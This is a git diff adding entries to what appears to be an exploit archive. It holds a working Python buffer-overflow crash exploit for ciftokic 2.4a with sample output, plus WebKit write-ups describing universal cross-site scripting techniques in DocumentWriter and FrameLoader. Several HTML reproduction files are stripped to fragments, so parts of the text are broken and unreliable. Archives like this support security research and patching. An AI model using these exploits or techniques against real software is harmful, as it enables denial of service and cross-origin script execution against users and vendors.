diff --git a/exploits/linux/dos/47445.py b/exploits/linux/dos/47445.py new file mode 100755 index 000000000..6fbca1ba0 --- /dev/null +++ b/exploits/linux/dos/47445.py @@ -0,0 +1,46 @@ +# Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow +# Date: September 30, 2019 +# Exploit Author: @JosueEncinar +# Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1 +# Version: 2.4a +# Tested on: Ubuntu 18.04 + +''' +If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;. +In line 84 we have the problem with the following instruction: strcpy(CIFFile,argv[1]); + +If the first argument is 80 characters or less, nothing happens, but if we put from 81 onwards the program fails with a Buffer Overflow. +''' + +# To test the code use Python 3.6+ +from os import system +from sys import argv + + +def print_usage(): + print("Usage: python3 ciftokic_overflow.py ") + print(" |_No Buffer Overflow: python3 ciftokic_overflow.py 80") + print(" |_Buffer Overflow: python3 ciftokic_overflow.py 81") + +if len(argv) == 1: + print_usage() +else: + try: + number = int(argv[1]) + payload = "J"*number + system(f"ciftokic {payload}") + except: + print_usage() + + +""" + +Output Example: + +josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 80 +Error: can't read CIF input file JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ +josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 81 +*** buffer overflow detected ***: ciftokic terminated +Aborted (core dumped) + +""" \ No newline at end of file diff --git a/exploits/multiple/dos/47450.txt b/exploits/multiple/dos/47450.txt new file mode 100644 index 000000000..7720c3337 --- /dev/null +++ b/exploits/multiple/dos/47450.txt @@ -0,0 +1,150 @@ +VULNERABILITY DETAILS +``` +void DocumentWriter::replaceDocument(const String& source, Document* ownerDocument) +{ +[...] + begin(m_frame->document()->url(), true, ownerDocument); // ***1*** + + // begin() might fire an unload event, which will result in a situation where no new document has been attached, + // and the old document has been detached. Therefore, bail out if no document is attached. + if (!m_frame->document()) + return; + + if (!source.isNull()) { + if (!m_hasReceivedSomeData) { + m_hasReceivedSomeData = true; + m_frame->document()->setCompatibilityMode(DocumentCompatibilityMode::NoQuirksMode); + } + + // FIXME: This should call DocumentParser::appendBytes instead of append + // to support RawDataDocumentParsers. + if (DocumentParser* parser = m_frame->document()->parser()) + parser->append(source.impl()); // ***2*** + } +``` + +``` +bool DocumentWriter::begin(const URL& urlReference, bool dispatch, Document* ownerDocument) +{ +[...] + bool shouldReuseDefaultView = m_frame->loader().stateMachine().isDisplayingInitialEmptyDocument() && m_frame->document()->isSecureTransitionTo(url); // ***3*** + if (shouldReuseDefaultView) + document->takeDOMWindowFrom(*m_frame->document()); + else + document->createDOMWindow(); + + // Per , we need to retain an ongoing set of upgraded + // requests in new navigation contexts. Although this information is present when we construct the + // Document object, it is discard in the subsequent 'clear' statements below. So, we must capture it + // so we can restore it. + HashSet insecureNavigationRequestsToUpgrade; + if (auto* existingDocument = m_frame->document()) + insecureNavigationRequestsToUpgrade = existingDocument->contentSecurityPolicy()->takeNavigationRequestsToUpgrade(); + + m_frame->loader().clear(document.ptr(), !shouldReuseDefaultView, !shouldReuseDefaultView); + clear(); + + // m_frame->loader().clear() might fire unload event which could remove the view of the document. + // Bail out if document has no view. + if (!document->view()) + return false; + + if (!shouldReuseDefaultView) + m_frame->script().updatePlatformScriptObjects(); + + m_frame->loader().setOutgoingReferrer(url); + m_frame->setDocument(document.copyRef()); +[...] + m_frame->loader().didBeginDocument(dispatch); // ***4*** + + document->implicitOpen(); +[...] +``` + +`DocumentWriter::replaceDocument` is responsible for replacing the currently displayed document with +a new one using the result of evaluating a javascript: URI as the document's source. The method +calls `DocumentWriter::begin`[1], which might trigger JavaScript execution, and then sends data to +the parser of the active document[2]. If an attacker can perform another page load right before +returning from `begin` , the method will append an attacker-controlled string to a potentially +cross-origin document. + +Under normal conditions, a javascript: URI load always makes `begin` associate the new document with +a new DOMWindow object. However, it's actually possible to meet the requirements of the +`shouldReuseDefaultView` check[3]. Firstly, the attacker needs to initialize the '); +} + + +``` + +repro_iframe.html contains a version that uses an '); +}); + + \ No newline at end of file diff --git a/exploits/multiple/dos/47452.html b/exploits/multiple/dos/47452.html new file mode 100644 index 000000000..84b140065 --- /dev/null +++ b/exploits/multiple/dos/47452.html @@ -0,0 +1,93 @@ + + + + + + + + \ No newline at end of file diff --git a/exploits/multiple/dos/47453.txt b/exploits/multiple/dos/47453.txt new file mode 100644 index 000000000..bc4127511 --- /dev/null +++ b/exploits/multiple/dos/47453.txt @@ -0,0 +1,67 @@ +VULNERABILITY DETAILS +``` +void FrameLoader::detachChildren() +{ +[...] + SubframeLoadingDisabler subframeLoadingDisabler(m_frame.document()); // ***1*** + + Vector, 16> childrenToDetach; + childrenToDetach.reserveInitialCapacity(m_frame.tree().childCount()); + for (Frame* child = m_frame.tree().lastChild(); child; child = child->tree().previousSibling()) + childrenToDetach.uncheckedAppend(*child); + for (auto& child : childrenToDetach) + child->loader().detachFromParent(); +} +``` + +When a cached page is being restored, and the page that's being navigated away is not cacheable, +there exists a time frame during which two documents are attached to the same frame. If an attacker +finds a way to run JS during this time frame, she will be able to use one of the documents to +execute JavaScript in the context of the other one. + +One possible call stack that might lead to JS execution is: +``` +a child frame's unload handler +... +ContainerNode::disconnectDescendantFrames() +Document::prepareForDestruction() +FrameLoader::clear() +FrameLoader::open() +``` + +By the time `FrameLoader::clear` is called, child frames are usually already disconnected from the +document via +``` +FrameLoader::detachChildren() +FrameLoader::setDocumentLoader() +FrameLoader::transitionToCommitted() +``` + +However, the attacker can initiate a new page load inside `detachChildren` to bypass +`SubframeLoadingDisabler` and create a new child frame. Note that it won't cancel the cached page +load. + +The attack has a restriction that significantly limits its applicability -- a victim page should +load a (potentially sandboxed)